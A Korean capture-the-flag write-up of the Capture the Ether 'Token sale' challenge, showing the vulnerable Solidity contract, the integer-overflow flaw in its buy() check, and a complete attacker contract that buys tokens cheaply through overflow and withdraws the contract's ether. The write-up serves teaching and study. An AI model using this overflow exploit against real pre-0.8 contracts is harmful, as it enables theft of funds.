Capture the ether-Token sale
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}초기화하며 넣은 1 이더리움을 빼내야 한다.
풀이
solidity 0.4.21 버전을 이용하기에, SafeMath가 자동으로 적용되지 않는다.
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}buy 함수에서, numTokens * PRICE_PER_TOKEN 가 msg.value인지 체크하고 있다. PRICE_PER_TOKEN는 1 ether이므로, 사실상 1000000000000000000 이다. numTokens * 1000000000000000000 가 uint256 MAX 값을 넘어 오버플로우 되면, 작은 msg.value 값으로도 큰 numTokens를 설정할 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface TokenSaleChallenge {
function isComplete() external view returns (bool);
function buy(uint256 numTokens) external payable;
function sell(uint256 numTokens) external;
}
contract TokenSaleSolver {
address payable public owner;
TokenSaleChallenge public problem;
constructor (address _problem) {
owner = payable(msg.sender);
problem = TokenSaleChallenge(payable(_problem));
}
function solve() public payable {
uint256 UINT_MAX = 2**256 - 1;
uint256 PRICE_PER_TOKEN = 1 ether;
uint256 val = ((UINT_MAX / PRICE_PER_TOKEN) + 1) * PRICE_PER_TOKEN;
problem.buy{value: val}((UINT_MAX / PRICE_PER_TOKEN) + 1);
problem.sell(1);
extract();
}
function extract() public {
owner.transfer(address(this).balance);
}
receive() external payable { }
}다음은 공격 코드이다. 오버플로우된 계산을 얻기 위해 solidity 0.8 미만을 이용했다.
(UINT_MAX / PRICE_PER_TOKEN) + 1 로, +1 을 통해 오버플로우를 일으킨다.
require(msg.value == numTokens * PRICE_PER_TOKEN); 코드에서 numTokens * PRICE_PER_TOKEN 값은
((UINT_MAX / PRICE_PER_TOKEN) + 1) * PRICE_PER_TOKEN가 되며, 이는 415992086870360064 이다. 이는 0.415992086870360064 ether 로, 이 공격을 통해 받아낼 수 있는 1 ether 보다 적다. 적은 이더를 넣고 더 많은 이더를 꺼낼 수 있다.
tags: writeup, blockchain, solidity, smart contract, integer overflow underflow, solidity safemath